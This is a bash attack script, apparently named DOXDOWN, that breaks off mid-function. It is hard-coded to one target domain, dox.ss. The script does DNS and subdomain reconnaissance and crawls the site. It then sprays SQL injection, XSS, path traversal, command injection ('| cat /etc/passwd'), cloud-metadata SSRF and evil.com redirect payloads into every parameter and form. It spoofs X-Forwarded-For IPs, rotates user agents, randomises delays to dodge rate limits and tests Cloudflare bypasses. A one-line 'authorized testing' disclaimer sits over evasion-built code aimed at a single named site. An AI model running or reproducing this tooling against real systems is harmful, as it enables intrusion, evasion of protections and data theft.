PROJECT DOXDOWN

DOXDOWN.sh

#!/bin/bash
# DOXDOWN v1.0 - Comprehensive Cloudflare-aware Website Assessment Tool
# For authorized penetration testing only

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# =====================================
# Configuration 
# =====================================
TARGET_DOMAIN="dox.ss"
TARGET_URL="https://$TARGET_DOMAIN"
MAX_DELAY=7        # Maximum delay between requests
MIN_DELAY=3        # Minimum delay between requests
MAX_CRAWL_PAGES=500  # Maximum pages to crawl
TESTING_DIR="dox_ss_pentest_$(date +%F_%H-%M-%S)"

# =====================================
# Banner and setup
# =====================================
echo -e "${RED}"
echo "██████╗  ██████╗ ██╗  ██╗██████╗  ██████╗ ██╗    ██╗███╗   ██╗"
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔══██╗██╔═══██╗██║    ██║████╗  ██║"
echo "██║  ██║██║   ██║ ╚███╔╝ ██║  ██║██║   ██║██║ █╗ ██║██╔██╗ ██║"
echo "██║  ██║██║   ██║ ██╔██╗ ██║  ██║██║   ██║██║███╗██║██║╚██╗██║"
echo "██████╔╝╚██████╔╝██╔╝ ██╗██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║"
echo "╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═════╝  ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝"
echo -e "${CYAN}        THE FINALE${NC}"
echo -e "${YELLOW}Authorized Assessment Tool for Cloudflare-Protected Websites${NC}"
echo -e "Target: ${GREEN}$TARGET_DOMAIN${NC}"
echo "=========================================================="

# Initialize directory structure
mkdir -p "$TESTING_DIR"/{recon,enumeration,vulnerabilities,evidence,logs}
cd "$TESTING_DIR"

# Create log file
LOG_FILE="logs/doxdown_$(date +%F_%H-%M-%S).log"
touch "$LOG_FILE"

# =====================================
# Helper functions
# =====================================

# Pretty logging function with timestamps
log() {
    local timestamp=$(date "+%Y-%m-%d %H:%M:%S")
    local level=$1
    local message=$2
    
    case $level in
        "INFO") color=$GREEN ;;
        "WARN") color=$YELLOW ;;
        "ERROR") color=$RED ;;
        "DEBUG") color=$BLUE ;;
        *) color=$NC ;;
    esac
    
    echo -e "${color}[${timestamp}] [${level}] ${message}${NC}" | tee -a "$LOG_FILE"
}

# Random sleep function
random_sleep() {
    local delay=$(awk -v min=$MIN_DELAY -v max=$MAX_DELAY 'BEGIN{srand(); print min+rand()*(max-min)}')
    log "DEBUG" "Sleeping for ${delay}s..."
    sleep $delay
}

# Generate random IP for X-Forwarded-For spoofing
random_ip() {
    echo "$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1))"
}

# Create a progress bar
progress_bar() {
    local total=$1
    local current=$2
    local bar_size=30
    local filled=$(( current * bar_size / total ))
    local percentage=$(( current * 100 / total ))
    
    # Create the bar
    local bar=""
    for ((i=0; i<filled; i++)); do
        bar+="#"
    done
    for ((i=filled; i<bar_size; i++)); do
        bar+="."
    done
    
    printf "\r[%-${bar_size}s] %3d%% (%d/%d)" "$bar" "$percentage" "$current" "$total"
    
    # Print newline if we're at 100%
    if [ "$current" -eq "$total" ]; then
        echo
    fi
}

# =====================================
# Main script execution
# =====================================

log "INFO" "Assessment started against $TARGET_URL ($TARGET_DOMAIN)"

# =====================================
# Phase 1: Basic Reconnaissance
# =====================================
log "INFO" "========== PHASE 1: BASIC RECONNAISSANCE =========="

log "INFO" "Checking if host is online and protected by Cloudflare"
curl -s -I "$TARGET_URL" -o "recon/initial_headers.txt"

if grep -q "server: cloudflare" "recon/initial_headers.txt"; then
    log "INFO" "✅ Confirmed: Target is protected by Cloudflare"
    CF_PROTECTED=true
else
    log "WARN" "⚠️ Target doesn't appear to be using Cloudflare. Proceeding anyway."
    CF_PROTECTED=false
fi

# Extract the HTML title for basic identification
log "INFO" "Getting basic site information..."
curl -s "$TARGET_URL" | grep -o "<title>[^<]*</title>" | sed 's/<title>\(.*\)<\/title>/\1/' > "recon/site_title.txt"
SITE_TITLE=$(cat "recon/site_title.txt")
log "INFO" "Site title: $SITE_TITLE"

# Perform DNS lookups
log "INFO" "Retrieving DNS information..."
{
    echo "DNS Records for $TARGET_DOMAIN:"
    echo "===================================="
    echo "A Records:"
    host -t A "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" A +short
    echo
    echo "AAAA Records:"
    host -t AAAA "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" AAAA +short
    echo
    echo "MX Records:"
    host -t MX "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" MX +short
    echo
    echo "TXT Records:"
    host -t TXT "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" TXT +short
    echo
    echo "NS Records:"
    host -t NS "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" NS +short
    echo
    echo "SOA Record:"
    host -t SOA "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" SOA +short
} > "recon/dns_records.txt"

log "INFO" "Looking for common subdomains..."
# Basic subdomain check for common prefixes
for sub in www mail remote dev stage test beta api app portal admin dashboard login secure support help status; do
    random_sleep
    if host "$sub.$TARGET_DOMAIN" > /dev/null 2>&1; then
        echo "$sub.$TARGET_DOMAIN" >> "recon/discovered_subdomains.txt"
        log "INFO" "Found subdomain: $sub.$TARGET_DOMAIN"
    fi
done

# =====================================
# Phase 2: Website Enumeration
# =====================================
log "INFO" "========== PHASE 2: WEBSITE ENUMERATION =========="

# Create a Python script for smart crawling
log "INFO" "Setting up intelligent crawler..."
cat > "enumeration/crawler.py" << 'EOL'
#!/usr/bin/env python3
import requests
import time
import random
import sys
import urllib.parse
from bs4 import BeautifulSoup
import os
import json
from datetime import datetime

# Configure from command line args
if len(sys.argv) < 3:
    print("Usage: python3 crawler.py <target_url> <max_pages>")
    sys.exit(1)

target_url = sys.argv[1]
max_pages = int(sys.argv[2])
output_dir = "crawl_results"

os.makedirs(output_dir, exist_ok=True)

# Initialize crawl state
visited = set()
to_visit = [target_url]
found_urls = []
found_forms = []
found_js_files = []
found_parameters = set()
found_endpoints = set()
found_technologies = set()

# Track interesting findings
interesting = {
    "possible_vulns": [],
    "admin_pages": [],
    "api_endpoints": [],
    "file_uploads": [],
    "authentication_forms": []
}

# Setup user agents rotation
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
]

def random_ip():
    return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

def normalize_url(url, base_url):
    # Handle relative URLs
    if url.startswith("/"):
        return urllib.parse.urljoin(base_url, url)
    # Handle URLs without scheme
    elif url.startswith("http") or url.startswith("https"):
        return url
    else:
        return urllib.parse.urljoin(base_url, url)
    
def is_same_domain(url, base_domain):
    # Extract domain from URL
    try:
        parsed = urllib.parse.urlparse(url)
        domain = parsed.netloc
        return domain == base_domain or domain.endswith("." + base_domain)
    except:
        return False

def extract_endpoints_from_js(js_content):
    # Simple regex-based extraction of endpoints from JS
    import re
    # Look for URLs
    url_pattern = re.compile(r'(https?://[^\s\'"\)]+)')
    urls = url_pattern.findall(js_content)
    
    # Look for API endpoints
    api_pattern = re.compile(r'[\'"](/api/[^\'"]+)[\'"]')
    apis = api_pattern.findall(js_content)
    
    # Look for fetch/ajax calls
    fetch_pattern = re.compile(r'(fetch|axios|ajax)\s*\(\s*[\'"]([^\'"]+)[\'"]')
    fetch_calls = fetch_pattern.findall(js_content)
    
    endpoints = set(urls)
    for api in apis:
        endpoints.add(api)
    for _, url in fetch_calls:
        endpoints.add(url)
    
    return endpoints

def detect_technologies(response):
    techs = set()
    # Check headers
    headers = response.headers
    
    # Common technology signatures in headers
    if "X-Powered-By" in headers:
        techs.add(f"X-Powered-By: {headers['X-Powered-By']}")
    if "Server" in headers:
        techs.add(f"Server: {headers['Server']}")
    if "X-AspNet-Version" in headers:
        techs.add(f"ASP.NET: {headers['X-AspNet-Version']}")
    if "X-Generator" in headers:
        techs.add(f"Generator: {headers['X-Generator']}")
        
    # Check content
    content = response.text.lower()
    
    # CMS detection
    if "wp-content" in content:
        techs.add("WordPress")
    if "drupal" in content:
        techs.add("Drupal")
    if "joomla" in content:
        techs.add("Joomla")
        
    # JavaScript frameworks
    if "react" in content and "reactdom" in content:
        techs.add("React")
    if "angular" in content:
        techs.add("Angular")
    if "vue" in content:
        techs.add("Vue.js")
    if "jquery" in content:
        techs.add("jQuery")
    
    # Server technologies
    if "php" in content:
        techs.add("PHP")
    if "asp.net" in content:
        techs.add("ASP.NET")
    if "nodejs" in content:
        techs.add("Node.js")
        
    # Security headers check
    security_headers = {
        "Strict-Transport-Security": "HSTS",
        "Content-Security-Policy": "CSP",
        "X-Content-Type-Options": "X-Content-Type-Options",
        "X-Frame-Options": "X-Frame-Options"
    }
    
    for header, name in security_headers.items():
        if header in headers:
            techs.add(f"Security: {name}")
        else:
            techs.add(f"Missing Security Header: {name}")
    
    return techs

def check_interesting_url(url, content):
    """Check if URL contains interesting patterns"""
    url_lower = url.lower()
    findings = []
    
    # Admin panel detection
    admin_patterns = ["admin", "administrator", "login", "portal", "dashboard"]
    if any(pattern in url_lower for pattern in admin_patterns):
        interesting["admin_pages"].append(url)
        findings.append(f"Potential admin page: {url}")
    
    # API endpoint detection
    api_patterns = ["/api/", "/graphql", "/v1/", "/v2/", "/rest/", "/soap/", "/swagger", "/docs"]
    if any(pattern in url_lower for pattern in api_patterns):
        interesting["api_endpoints"].append(url)
        findings.append(f"API endpoint: {url}")
    
    # File upload detection
    if "upload" in url_lower or "file" in url_lower:
        if "enctype=\"multipart/form-data\"" in content or "type=\"file\"" in content:
            interesting["file_uploads"].append(url)
            findings.append(f"File upload functionality: {url}")
    
    # Authentication forms
    if ("login" in url_lower or "signin" in url_lower or "register" in url_lower or "signup" in url_lower) and \
       ("password" in content.lower() and ("username" in content.lower() or "email" in content.lower())):
        interesting["authentication_forms"].append(url)
        findings.append(f"Authentication form: {url}")
    
    # Potential vulnerability patterns
    vuln_patterns = {
        "SQL Injection": ["id=", "category=", "product=", "user="],
        "Path Traversal": ["file=", "path=", "dir=", "folder="],
        "Open Redirect": ["redirect=", "url=", "next=", "return="]
    }
    
    for vuln, patterns in vuln_patterns.items():
        if any(pattern in url_lower for pattern in patterns):
            interesting["possible_vulns"].append({
                "url": url,
                "type": vuln,
                "pattern": next((p for p in patterns if p in url_lower), "unknown")
            })
            findings.append(f"Potential {vuln} at {url}")
    
    return findings

def extract_forms(soup, url):
    forms = []
    for form in soup.find_all('form'):
        form_fields = []
        form_action = form.get('action', '')
        form_method = form.get('method', 'get').upper()
        
        # Normalize form action URL
        if form_action:
            form_action = normalize_url(form_action, url)
        else:
            form_action = url
            
        # Extract all input fields
        for input_field in form.find_all(['input', 'textarea', 'select']):
            field_type = input_field.get('type', 'text')
            field_name = input_field.get('name', '')
            if field_name:  # Only add fields with names
                form_fields.append({
                    'name': field_name,
                    'type': field_type
                })
                # Add to global parameters set
                found_parameters.add(field_name)
                
        forms.append({
            'action': form_action,
            'method': form_method,
            'fields': form_fields
        })
    return forms

def scan_url(url):
    print(f"Scanning: {url}")
    
    # Pick a random user agent
    user_agent = random.choice(user_agents)
    
    try:
        headers = {
            "User-Agent": user_agent,
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "X-Forwarded-For": random_ip()
        }
        
        start_time = time.time()
        response = requests.get(url, headers=headers, timeout=10, verify=True)
        response_time = time.time() - start_time
        
        # Basic info
        result = {
            "url": url,
            "status_code": response.status_code,
            "content_type": response.headers.get("Content-Type", "Unknown"),
            "response_time": response_time,
            "size": len(response.content),
            "timestamp": datetime.now().isoformat()
        }
        
        # Skip non-HTML content for crawling
        if "text/html" not in result["content_type"]:
            if ".js" in url:
                # Save JavaScript files separately
                js_content = response.text
                js_filename = url.split('/')[-1].split('?')[0]
                js_result = {
                    "url": url,
                    "filename": js_filename,
                    "size": len(js_content),
                    "endpoints": list(extract_endpoints_from_js(js_content))
                }
                found_js_files.append(js_result)
                
                # Add endpoints to global set
                for endpoint in js_result["endpoints"]:
                    found_endpoints.add(endpoint)
                    
                # Save JS content for further analysis
                with open(f"{output_dir}/js_{js_filename}", "w", encoding="utf-8") as f:
                    f.write(js_content)
                    
            return result, []
        
        # Parse HTML content
        soup = BeautifulSoup(response.text, 'html.parser')
        
        # Extract title
        title = soup.title.text if soup.title else "No title"
        result["title"] = title
        
        # Extract links to crawl
        links = []
        for a_tag in soup.find_all('a', href=True):
            href = a_tag['href']
            if href and not href.startswith('#') and not href.startswith('javascript:'):
                normalized = normalize_url(href, url)
                if is_same_domain(normalized, urllib.parse.urlparse(target_url).netloc):
                    links.append(normalized)
        
        # Extract forms
        forms = extract_forms(soup, url)
        if forms:
            found_forms.extend(forms)
            
        # Extract JavaScript files for further analysis
        for script in soup.find_all('script', src=True):
            src = script['src']
            if src and src.endswith('.js'):
                js_url = normalize_url(src, url)
                if js_url not in [js["url"] for js in found_js_files]:
                    if is_same_domain(js_url, urllib.parse.urlparse(target_url).netloc):
                        to_visit.append(js_url)
        
        # Detect technologies
        detected_techs = detect_technologies(response)
        found_technologies.update(detected_techs)
        result["technologies"] = list(detected_techs)
        
        # Check for interesting URLs and content
        findings = check_interesting_url(url, response.text)
        if findings:
            result["findings"] = findings
            
        return result, links
        
    except Exception as e:
        print(f"Error scanning {url}: {str(e)}")
        return {
            "url": url,
            "error": str(e),
            "timestamp": datetime.now().isoformat()
        }, []

# Main crawling loop
print(f"Starting crawl of {target_url}, limited to {max_pages} pages")

results = []
page_count = 0

while to_visit and page_count < max_pages:
    # Get next URL
    current_url = to_visit.pop(0)
    
    # Skip if already visited
    if current_url in visited:
        continue
    
    # Mark as visited
    visited.add(current_url)
    
    # Scan the URL
    result, new_links = scan_url(current_url)
    
    # Save result
    if "error" not in result:
        results.append(result)
        found_urls.append(current_url)
        page_count += 1
        
        # Print progress
        progress = (page_count / max_pages) * 100
        print(f"Progress: [{page_count}/{max_pages}] {progress:.1f}%")
        
        # Add new links to visit
        for link in new_links:
            if link not in visited and link not in to_visit:
                to_visit.append(link)
    
    # Random delay to avoid rate limiting
    delay = random.uniform(1, 3)
    time.sleep(delay)

# Save all results
print(f"Crawl complete. Visited {len(results)} pages.")

# Save results to files
with open(f"{output_dir}/crawled_urls.json", "w") as f:
    json.dump(found_urls, f, indent=2)

with open(f"{output_dir}/pages.json", "w") as f:
    json.dump(results, f, indent=2)

with open(f"{output_dir}/forms.json", "w") as f:
    json.dump(found_forms, f, indent=2)

with open(f"{output_dir}/js_files.json", "w") as f:
    json.dump(found_js_files, f, indent=2)

with open(f"{output_dir}/parameters.json", "w") as f:
    json.dump(list(found_parameters), f, indent=2)

with open(f"{output_dir}/technologies.json", "w") as f:
    json.dump(list(found_technologies), f, indent=2)

with open(f"{output_dir}/interesting.json", "w") as f:
    json.dump(interesting, f, indent=2)

print("Results saved to the 'crawl_results' directory")
EOL

chmod +x enumeration/crawler.py

# Run the crawler
log "INFO" "Starting intelligent crawler..."
python3 enumeration/crawler.py "$TARGET_URL" "$MAX_CRAWL_PAGES"

log "INFO" "Creating wordlists from discovered parameters..."
mkdir -p "enumeration/wordlists"
# Extract parameters from JS for wordlists
if [ -f "enumeration/crawler_results/parameters.json" ]; then
    jq -r '.[]' "enumeration/crawler_results/parameters.json" > "enumeration/wordlists/parameters.txt"
    log "INFO" "Created parameters wordlist with $(wc -l < enumeration/wordlists/parameters.txt) entries"
fi

# Create a script to find specific vulnerabilities based on crawl data
log "INFO" "Creating vulnerability scanner..."
cat > "vulnerabilities/vulnerability_scanner.py" << 'EOL'
#!/usr/bin/env python3
import json
import sys
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin, urlparse, parse_qs, urlencode, quote
from bs4 import BeautifulSoup
import re

# Configuration
TARGET_DOMAIN = sys.argv[1]
INPUT_DIR = sys.argv[2]
MAX_THREADS = 5
DELAY = 2  # Seconds between requests

# Load the crawled data
def load_json_file(filename):
    try:
        with open(filename, 'r') as f:
            return json.load(f)
    except Exception as e:
        print(f"Error loading {filename}: {e}")
        return []

crawled_urls = load_json_file(f"{INPUT_DIR}/crawled_urls.json")
forms = load_json_file(f"{INPUT_DIR}/forms.json")
interesting = load_json_file(f"{INPUT_DIR}/interesting.json")
js_files = load_json_file(f"{INPUT_DIR}/js_files.json")

# Vulnerability check payloads
payloads = {
    "sqli": ["'", "' OR '1'='1", "1 OR 1=1", "' --", "admin' --"],
    "xss": ["<script>alert(1)</script>", "\"><script>alert(1)</script>", "\"><img src=x onerror=alert(1)>"],
    "lfi": ["../../../etc/passwd", "..%2f..%2f..%2fetc%2fpasswd", "..\\..\\windows\\win.ini"],
    "open_redirect": ["//evil.com", "https://evil.com", "//google.com", "javascript:alert(1)"],
    "ssrf": ["http://localhost", "http://127.0.0.1", "http://169.254.169.254/latest/meta-data/"],
    "command_injection": ["; ls -la", "& dir", "| cat /etc/passwd", "`cat /etc/passwd`"]
}

# Responses that might indicate vulnerabilities 
signatures = {
    "sqli": ["SQL syntax", "mysql_fetch", "ORA-", "SQL error", "sqlite3"],
    "xss": ["<script>alert(1)</script>"],
    "lfi": ["root:x:0:0", "WWW-Authenticate", "[boot loader]", "[fonts]", "sbin"],
    "open_redirect": ["Location:"],
    "ssrf": ["<title>Internal", "metadata", "computeMetadata"],
    "command_injection": ["root:x:0:0", "Directory of", "drwxr-xr-x"]
}

# Random user agents
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
]

def random_ip():
    return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

def make_request(url, method="GET", data=None, headers=None):
    if headers is None:
        headers = {
            "User-Agent": random.choice(user_agents),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Connection": "close",
            "X-Forwarded-For": random_ip()
        }
    
    try:
        if method == "GET":
            response = requests.get(url, headers=headers, timeout=10, allow_redirects=False)
        else:  # POST
            response = requests.post(url, data=data, headers=headers, timeout=10, allow_redirects=False)
        
        time.sleep(DELAY)  # Be gentle with the server
        return response
    except Exception as e:
        print(f"Error requesting {url}: {e}")
        return None

def check_url_for_injections(url):
    findings = []
    parsed_url = urlparse(url)
    query_params = parse_qs(parsed_url.query)
    
    # Skip if no query parameters
    if not query_params:
        return findings
    
    for param_name, param_values in query_params.items():
        original_value = param_values[0]
        
        for vuln_type, payloads_list in payloads.items():
            for payload in payloads_list:
                # Make a copy of the query parameters
                new_params = parse_qs(parsed_url.query)
                new_params[param_name] = [payload]  # Replace parameter with payload
                
                # Reconstruct URL with new query string
                new_query = urlencode(new_params, doseq=True)
                parts = list(parsed_url)
                parts[4] = new_query
                injected_url = urljoin(url, urlparse("").geturl())
                
                print(f"Testing {vuln_type} in parameter {param_name} at {url}")
                response = make_request(injected_url)
                
                if response:
                    # Check if the response contains any of the signatures
                    for signature in signatures.get(vuln_type, []):
                        if signature in response.text or signature in str(response.headers):
                            finding = {
                                "type": vuln_type,
                                "url": url,
                                "parameter": param_name,
                                "payload": payload,
                                "evidence": signature,
                                "status_code": response.status_code
                            }
                            findings.append(finding)
                            print(f"[VULNERABILITY FOUND] {vuln_type} in {url}, parameter {param_name}")
                            break
    
    return findings

def check_form_for_injections(form):
    findings = []
    form_url = form.get('action', '')
    form_method = form.get('method', 'GET').upper()
    form_fields = form.get('fields', [])
    
    # Skip forms with no fields
    if not form_fields:
        return findings
    
    for field in form_fields:
        field_name = field.get('name', '')
        field_type = field.get('type', 'text')
        
        # Skip submit buttons, hidden fields, etc.
        if not field_name or field_type in ['submit', 'button', 'image', 'reset']:
            continue
        
        # Test different vulnerability payloads
        for vuln_type, payloads_list in payloads.items():
            # Skip certain tests for certain field types
            if field_type == 'password' and vuln_type != 'sqli':
                continue  # Only test SQL injection for password fields
                
            for payload in payloads_list:
                print(f"Testing {vuln_type} in form field {field_name} at {form_url}")
                
                # Prepare form data
                form_data = {f['name']: 'test' for f in form_fields if f['name']}
                form_data[field_name] = payload
                
                if form_method == "GET":
                    # Append parameters to URL for GET requests
                    query_string = urlencode(form_data)
                    test_url = f"{form_url}?{query_string}"
                    response = make_request(test_url)
                else:  # POST
                    response = make_request(form_url, method="POST", data=form_data)
                
                if response:
                    # Check if the response contains any of the signatures
                    for signature in signatures.get(vuln_type, []):
                        if signature in response.text or signature in str(response.headers):
                            finding = {
                                "type": vuln_type,
                                "url": form_url,
                                "method": form_method,
                                "field": field_name,
                                "payload": payload,
                                "evidence": signature,
                                "status_code": response.status_code
                            }
                            findings.append(finding)
                            print(f"[VULNERABILITY FOUND] {vuln_type} in form at {form_url}, field {field_name}")
                            break
    
    return findings

def check_for_info_disclosure(url):
    findings = []
    sensitive_patterns = [
        ("API Key", r'api[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9_\-]{20,})["\']\s*'),
        ("AWS Key", r'(AKIA[0-9A-Z]{16})'),
        ("Email", r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'),
        ("Private IP", r'\b(127\.0\.0\.1|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.[0-9]{1,3}\.[0-9]{1,3}|192\.168\.[0-9]{1,3}\.[0-9]{1,3})\b'),
        ("Social Security Number", r'\b\d{3}-\d{2}-\d{4}\b'),
        ("Credit Card", r'\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})\b')
    ]
    
    print(f"Checking for information disclosure at {url}")
    response = make_request(url)
    
    if response and response.status_code == 200:
        for info_type, pattern in sensitive_patterns:
            matches = re.findall(pattern, response.text)
            if matches:
                for match in matches[:5]:  # Limit to first 5 matches
                    finding = {
                        "type": "Information Disclosure",
                        "url": url,
                        "info_type": info_type,
                        "evidence": match if len(str(match)) < 50 else str(match)[:47] + "..."
                    }
                    findings.append(finding)
                    print(f"[INFORMATION DISCLOSURE] Found {info_type} at {url}")
    
    return findings

def check_security_headers(url):
    findings = []
    print(f"Checking security headers for {url}")
    response = make_request(url)
    
    if not response:
        return findings
    
    security_headers = {
        "strict-transport-security": "HTTP Strict Transport Security not set",
        "x-content-type-options": "X-Content-Type-Options not set",
        "x-frame-options": "X-Frame-Options not set",
        "content-security-policy": "Content-Security-Policy not set",
        "x-xss-protection": "X-XSS-Protection not set",
        "referrer-policy": "Referrer-Policy not set"
    }
    
    for header, message in security_headers.items():
        if header not in {h.lower() for h in response.headers}:
            finding = {
                "type": "Missing Security Header",
                "url": url,
                "header": header,
                "description": message
            }
            findings.append(finding)
            print(f"[SECURITY HEADER] {message}")
    
    return findings

def check_cloudflare_bypass(url):
    findings = []
    print(f"Testing Cloudflare bypass methods for {url}")
    
    # Test 1: Origin IP exposure check
    headers = {
        "Host": urlparse(url).netloc,
        "User-Agent": random.choice(user_agents),
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "X-Requested-With": "XMLHttpRequest",
        "X-Forwarded-For": "127.0.0.1",  # Try localhost spoofing
    }
    
    response = make_request(url, headers=headers)
    
    if response and response.status_code == 200:
        if "cloudflare" not in str(response.headers).lower() and "cf-" not in str(response.headers).lower():
            finding = {
                "type": "Potential Cloudflare Bypass",
                "url": url,
                "method": "X-Forwarded-For Spoofing",
                "evidence": "Response received without Cloudflare headers"
            }
            findings.append(finding)
            print(f"[CLOUDFLARE BYPASS] Potential bypass using X-Forwarded-For at {url}")
    
    # Test 2: Test for misconfigured Cross-Origin Resource Sharing (CORS)
    headers = {
        "User-Agent": random.choice(user_agents),
        "Origin": "https://evil.com",
        "X-Forwarded-For": random_ip()
    }
    
    response = make_request(url, headers=headers)
    
    if response and "access-control-allow-origin" in {h.lower() for h in response.headers}:
        allowed_origin = response.headers.get("Access-Control-Allow-Origin")
        if allowed_origin == "*" or "evil.com" in allowed_origin:
            finding = {
                "type": "CORS Misconfiguration",
                "url": url,
                "allowed_origin": allowed_origin,
                "evidence": f"Access-Control-Allow-Origin: {allowed_origin}"
            }
            findings.append(finding)
            print(f"[CORS MISCONFIGURATION] {url} allows origin: {allowed_origin}")
    
    return findings

def process_url(url):
    all_findings = []
    
    # Check for parameter-based injections
    if "?" in url and "=" in url:
        all_findings.extend(check_url_for_injections(url))
    
    # Check for information disclosure
    all_findings.extend(check_for_info_disclosure(url))
    
    # Check security headers
    all_findings.extend(check_security_headers(url))
    
    # Check for Cloudflare bypass possibilities
    all_findings.extend(check_cloudflare_bypass(url))
    
    return all_findings

def process_form(form):
    return check_form_for_injections(form)

def main():
    all_findings = []
    
    print(f"Starting vulnerability scan for {TARGET_DOMAIN}")
    print(f"Loaded {len(crawled_urls)} URLs and {len(forms)} forms to test")
    
    # Process URLs
    print("Testing URLs for vulnerabilities...")
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        # Filter URLs to test (those with parameters get priority)
        test_urls = [url for url in crawled_urls if "?" in url and "=" in url]
        other_urls = [url for url in crawled_urls if url not in test_urls][:50]  # Limit testing to 50 non-parameterized URLs
        
        all_test_urls = test_urls + other_urls
        url_futures = {executor.submit(process_url, url): url for url in all_test_urls}
        
        for future in as_completed(url_futures):
            url = url_futures[future]
            try:
                findings = future.result()
                if findings:
                    all_findings.extend(findings)
                    print(f"Found {len(findings)} issues at {url}")
            except Exception as e:
                print(f"Error processing {url}: {e}")
    
    # Process forms
    print("Testing forms for vulnerabilities...")
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        form_futures = {executor.submit(process_form, form): form for form in forms}
        
        for future in as_completed(form_futures):
            try:
                findings = future.result()
                if findings:
                    all_findings.extend(findings)
            except Exception as e:
                print(f"Error processing form: {e}")
    
    # Save findings to JSON
    if all_findings:
        with open("vulnerability_findings.json", "w") as f:
            json.dump(all_findings, f, indent=2)
        print(f"Found {len(all_findings)} potential vulnerabilities. Saved to vulnerability_findings.json")
    else:
        print("No vulnerabilities found.")

if __name__ == "__main__":
    main()
EOL

chmod +x vulnerabilities/vulnerability_scanner.py

# Run vulnerability scanner
log "INFO" "Running vulnerability scanner..."
python3 vulnerabilities/vulnerability_scanner.py "$TARGET_DOMAIN" "enumeration/crawl_results"

# =====================================
# Phase 3: Cloudflare Bypass Tests
# =====================================
log "INFO" "========== PHASE 3: CLOUDFLARE BYPASS TESTS =========="

# Create a script to test for Cloudflare misconfigurations
log "INFO" "Creating Cloudflare bypass tester..."
cat > "vulnerabilities/cloudflare_bypass.py" << 'EOL'
#!/usr/bin/env python3
import requests
import sys
import random
import time
from urllib.parse import urlparse
import socket
import json
import concurrent.futures

# Configuration
target_url = sys.argv[1]
output_file = "cloudflare_bypass_results.json"
MAX_THREADS = 3

# Get domain from URL
parsed = urlparse(target_url)
target_domain = parsed.netloc

# Random user agents
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
]

def random_ip():
    return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

def make_request(url, headers=None, method="GET"):
    if headers is None:
        headers = {
            "User-Agent": random.choice(user_agents),
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
